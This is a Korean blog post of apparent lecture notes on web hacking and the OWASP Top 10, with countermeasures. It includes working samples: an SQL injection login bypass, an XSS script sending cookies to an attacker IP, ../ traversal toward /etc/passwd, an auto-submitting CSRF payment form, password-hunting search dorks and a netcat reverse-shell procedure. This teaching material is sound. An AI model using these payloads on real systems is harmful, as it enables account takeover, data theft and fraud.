728x90

웹 해킹
웹 취약점 스캐너를 통한 정보 수집
- 빠른 시간 내에 다양한 접속 시도를 수행할 수 있다는 장점.
- 스캐너로 확인된 취약점이 실제 보안 문제가 아닌 경우가 많음
프록시 (Web Proxy)를 통한 취약점 분석
- 웹의 구조 파악, 취약점 점검, 웹 해킹 시 웹 프록시 툴 사용.
- 클라이언트에 설치되어 클라이언트의 통제를 받음.
- 클라이언트가 웹 서버와 웹 브라우저 간에 전달되는 모든 HTTP 패킷을 웹 프록시를 통해 확인하고 수정 가능.
- 대표적인 웹 프록시 툴: Burp Suite (http://portswigger.net/burp 에서 무료 버전 다운로드 가능).
서버에서 클라이언트로 전송되는 패킷 변조
- 서버가 클라이언트로 전송하는 패킷의 변수 값을 조작하여 악용 가능.
- 예시: 서버에서 전송한 $A = 20$ 값을 클라이언트가 받기 전에 프록시를 통해 $A = 40$으로 변경.
- 보안 대책: 서버에서 클라이언트로 전송한 값을 다시 참조하지 않도록 설계해야 함. (예: 경품 응모권 위조 방지)
클라이언트에서 서버로 전송되는 패킷 변조
- 클라이언트가 서버로 전송하는 패킷의 값을 변조하여 악용 가능.
- 예시: 게시글 조회 시 id=2를 id=1로 변경하여 다른 글 조회
구글 해킹을 통한 정보 수집
- 구글과 같은 검색 엔진의 고급 검색 기능을 활용하여 웹 해킹에 필요한 정보 수집.
- 주요 검색 인자:
- site: 특정 도메인으로 지정한 사이트 내에서 문자열 검색. (예: site: sungshin.ac.kr admin)
- filetype: 특정 파일 유형 내에서 문자열 검색. (예: filetype:txt password)
- intitle: 페이지 제목에 특정 문자열이 포함된 사이트 검색. (예: intitle:index.of admin - 디렉터리 리스팅 취약점 검색)
- 검색 엔진의 검색을 피하는 방법 (robots.txt 파일):
User-agent: googlebot
Disallow: dbconn.ini (특정 파일 검색 방지)
Disallow: /admin (특정 디렉터리 접근 방지
웹의 취약점과 보안
OWASP Top 10
- 국제웹보안표준기구(OWASP)에서 발표하는 각 분야별 상위 열 가지 주요 웹 취약점 목록.
- 시기에 따라 항목별 취약점 구분이 달라지며, 하나의 취약점이 두 가지 의미를 지니는 경우도 있음.
명령 삽입 취약점 (A1. Injection)
- 클라이언트 요청 처리 시, 인수에 특정 명령을 실행할 수 있는 코드가 포함되는 경우 필터링이 미흡하면 발생한다.
- SQL, OS, LDAP 등 웹으로 명령을 전달하는 모든 경우에 적용 가능.
- SQL 삽입 공격:
- 웹 서버에서 데이터베이스로 전송되는 SQL 쿼리 인수에 추가 실행 코드를 삽입.
- 로그인 시 아이디/패스워드 입력 필드 등에 악성 SQL 구문 삽입.
- 예: 패스워드 입력 필드에 ' or ''=' 입력 시, SQL 쿼리가 항상 참(True)이 되어 사용자 인증 우회 가능.
SELECT * FROM "user" WHERE e_mail_address = ’입력된아이디’ AND password =” or ”=”
인증 및 세션 관리 취약점 (A2. Broken Authentication and Session Management)
- 취약한 패스워드 설정:
- admin/admin과 같이 개발자가 설정한 취약한 패스워드를 그대로 사용하는 경우 많음.
- 사용자 데이터를 이용한 인증:
- 최초 인증 과정 후, 웹 서버가 인증값(쿠키와 같은 세션값)을 클라이언트에 넘겨줌.
- 공격자가 세션 인증값은 그대로 사용하고 UserNo 값만 변경하여 다른 계정으로 로그인한 것처럼 웹 서비스를 이용할 수 있음.
XSS 취약점 (A3. Cross-Site Scripting)
- XSS: 공격자가 작성한 스크립트가 다른 사용자에게 전달되어, 사용자의 웹 브라우저 안에서 적절한 검증 없이 실행되는 것.
- 목표: 사용자의 세션을 탈취하거나, 웹사이트를 변조하고 악의적인 사이트로 이동시킬 수 있음.
- 공격 구조:
- 공격자가 XSS 취약점이 있는 서버에 XSS 코드 작성하여 저장.
- 해당 웹 서비스 사용자가 공격자가 작성한 XSS 코드에 접근.
- 웹 서버는 XSS 코드가 포함된 게시판 글을 사용자에게 전달.
- 사용자의 시스템에서 XSS 코드가 실행.
- XSS 코드 실행 결과가 공격자에게 전달되어 공격 종료 (예: 쿠키값 탈취).
- 예시: 게시판에 <script>location.href="http://192.168.137.128/XSS/GetCookie.asp?cookie="+document.cookie</script>와 같은 스크립트 입력 시, 현재 문서 사용자의 쿠키값을 공격자의 웹 서버로 전송.
취약한 접근 제어 (A4. Broken Access Control)
- 인증된 사용자가 수행할 수 있는 것에 대한 제한을 제대로 적용하지 않은 것.
- 일반 사용자나 로그인하지 않은 사용자가 관리자 페이지에 접근하여 관리자 권한의 기능을 악용할 수 있음.
- 대응책:
- 웹의 중요 페이지에 세션값(쿠키)을 확인하는 검증 로직을 입력해두어야 함.
- 프로그램 개발 시 표준 인증 로직을 만들어 모든 웹페이지의 앞부분에 입력해야 함.
- 디렉터리 탐색 (Directory Traversal):
- 웹 브라우저에서 확인 가능한 경로의 상위를 탐색하여 특정 시스템 파일을 다운로드하는 공격.
- .은 현재 디렉터리, ..는 상위 디렉터리를 의미.
- 예: http://www.wishfree.com/board/download.jsp?filename=../list.jsp와 같이 filename 변수에 ../list.jsp를 입력하여 상위 디렉터리의 파일을 다운로드 시도.
- /etc/passwd와 같이 사용자 계정 정보가 담긴 중요한 시스템 파일 다운로드 시도 가능.
보안 설정 오류 (A5. Security Misconfiguration)
- 웹 서버, 애플리케이션 서버, 데이터베이스, 플랫폼 등의 보안 설정이 제대로 되어 있지 않은 경우.
- 디렉터리 리스팅 (Directory Listing):
- 웹 브라우저에서 웹 서버의 특정 디렉터리를 열면 그 디렉터리에 있는 파일과 목록이 모두 나열되는 것.
- 관리자가 설정 사항을 인지하지 못했거나 웹 서버 자체의 취약점 때문에 발생.
- 백업 및 임시 파일 존재:
- 웹사이트 개발 시 웹 서버 백업 파일이나 임시 파일을 삭제하지 않고 방치하여 공격자가 내부 로직, 데이터베이스 접속 정보 등 획득 가능. (예: login.asp.bak)
- 미흡한 주석 관리:
- 웹 애플리케이션 주석에 개발 과정, 주요 로직 설명, 디렉터리 구조, 테스트 소스 정보, 아이디/패스워드 등이 기록되는 경우.
- 파일 업로드 제한 부재:
- 공격자가 웹 서버에 악의적인 파일(예: 웹 셸 shell.php)을 전송한 뒤 원격에서 실행하여 웹 서버 장악, 내부 침투 공격 수행 가능.
- 웹 해킹의 최종 목표인 웹 서버 통제권을 얻기 위해 반드시 성공해야 하는 공격.
- 리버스 텔넷 (Reverse Telnet or Reverse Shell):
- 웹 해킹으로 시스템 권한을 획득한 후, 해당 시스템에 텔넷과 같이 직접 명령을 입력하고 확인할 수 있는 셸을 획득하기 위한 방법.
- 방화벽이 있는 시스템을 공격할 때 자주 사용.
- 공격자의 PC에 텔넷 서비스가 열려 있고 방화벽의 아웃바운드 정책이 열려 있다면, 웹 서버에서 공격자의 텔넷으로 접속 가능.
- 공격 과정:
- 웹셸 업로드 등으로 명령창 획득.
- nc (netcat)와 같은 리버스 텔넷용 툴 업로드.
- 공격자 PC의 리버스 텔넷 데몬 활성화.
- 획득한 명령창으로 공격자에게 리버스 텔넷을 보내 리버스 텔넷 창 획득.
- 예시: 친구가 몇 시쯤 집에 전화를 하라고 언질을 해두고, 전화가 오면 아버지는 모르는 척 "친구가 나오라네" 하면서 나가는 상황. (방화벽 안에서 밖으로 연결 요청)
민감한 데이터 노출 (A6. Sensitive Data Exposure)
- 신용카드 번호, 주민등록번호, 인증 신뢰 정보와 같은 민감한 데이터를 보호하지 않아 유출되는 문제.
- 대응책: 데이터 중요도에 따라 암호화 로직을 사용하고, 데이터베이스 테이블 단위에서 암호화를 수행해야 함.
불충분한 공격 방어 (A7. Insufficient Attack Protection)
- 해킹 공격을 탐지, 방지, 대응할 수 있는 기능이 웹 애플리케이션에 부족한 경우.
- 방어 체계가 없어 공격이 들어오면 그대로 성공할 수 있으며, 알려진 공격 패턴조차 탐지/차단하지 못함.
- APT 공격이 일반화되면서 웹 애플리케이션 수준에서 자동으로 탐지, 로깅, 응답 및 공격 시도 차단을 포함하도록 권고.
CSRF 취약점 (A8. Cross-Site Request Forgery)
- CSRF: 특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로, 로그인된 사용자가 자신의 의지와 무관하게 공격자가 의도한 행위(수정, 삭제, 등록, 송금 등)를 하게 만드는 공격.
- XSS 공격과 유사하며, XSS 공격의 발전된 형태로 보기도 함.
- XSS는 악성 스크립트가 클라이언트에서 실행되는 반면, CSRF는 사용자가 악성 스크립트를 서버에 요청하게 만듦
<body onload = "document.csrf.submit()">
<form name="csrf" action="http://www.shop.co.kr/malladmin/order/order.jsp" method="POST">
input type="hidden" name="uid" value="wishfree">
input type="hidden" name="mode" value="pay_for_order">
input type="hidden" name="amount" value="10000">
</form>
위 코드가 포함된 페이지를 사용자가 열면, wishfree 계정으로 10,000원을 결제하라는 요청이 서버로 자동으로 전송됨
취약점이 있는 컴포넌트 사용 (A9. Using Components with Known Vulnerabilities)
- 컴포넌트, 라이브러리, 프레임워크 및 다른 소프트웨어 모듈에 알려진 보안 취약점이 있는 경우.
- 악용되면 심각한 데이터 손실, 서버 장악이 가능.
- 대응책: 사용하려는 컴포넌트, 라이브러리의 보안 취약점을 충분히 검토해야 함.
취약한 API (A10. Underprotected APIs)
- API를 통해 웹 서비스 상호간의 연동이 이루어지므로, API 사용 시 보안에 취약하지 않은지 충분한 검토가 필요.
- 대응책: 중요 API의 경우, API-Key 등을 통해 허용된 요청만 응답하도록 해야 함.
웹의 취약점 보완
특수문자 필터링
- 웹 해킹의 가장 기본적인 형태인 인수 조작을 방어.
- 예외적인 실행을 유발하는 특수문자를 함수를 이용하여 제거함으로써 XSS 취약점, SQL 삽입 공격, 디렉터리 탐색 공격 등을 방어.
- 필터링이 필요한 주요 문자:
< XSS 취약점 = SQL 삽입공격 > XSS 취약점 ; SQL 삽입공격 & XSS 취약점 * SQL 삽입공격 " XSS 취약점 . SQL 삽입공격 ? XSS 취약점 .. SQL 삽입공격 ' XSS 취약점, SQL 삽입공격 -- SQL 삽입공격 / XSS 취약점, 디렉터리 탐색공격
function RemoveBad(InStr){
InStr = InStr.replace(/\</g,"");
InStr = InStr.replace(/\>/g,"");
InStr = InStr.replace(/\&/g,"");
InStr = InStr.replace(/\"/g,"");
InStr = InStr.replace(/\?/g,"");
InStr = InStr.replace(/\'/g,"");
InStr = InStr.replace(/\//g,"");
return InStr;
}
- 본문에 포함되는 주요 특수 문자를 함수를 이용하여 제거함으로써 XSS 취약점 공격을 방어 할 수 있음
서버 통제 작용
- Client-Side Script (CSS) 기반의 필터링은 공격자가 로직을 파악하면 쉽게 무력화될 수 있음.
- Server-Side Script (SSS) (예: ASP, JSP)로 필터링 로직을 수행해야 함.
지속적인 세션 관리
- 모든 웹페이지에 일관성 있는 인증 로직을 적용해야 함.
- 기업 또는 웹사이트 단위에서 세션 인증 로직을 표준화하고, 표준을 준수하여 웹페이지를 개발하도록 해야 함.
728x90
'{Lecture} > Information protection' 카테고리의 다른 글
| [정보보호] 스푸핑 공격 (0) | 2025.10.18 |
|---|---|
| [정보보호] 서비스 거부 공격: DoS와 DDoS (0) | 2025.10.18 |
| [정보보호] 스니핑 공격 (0) | 2025.10.10 |
| [정보보호] WPA-EAP vs WPA-PSK (0) | 2025.10.08 |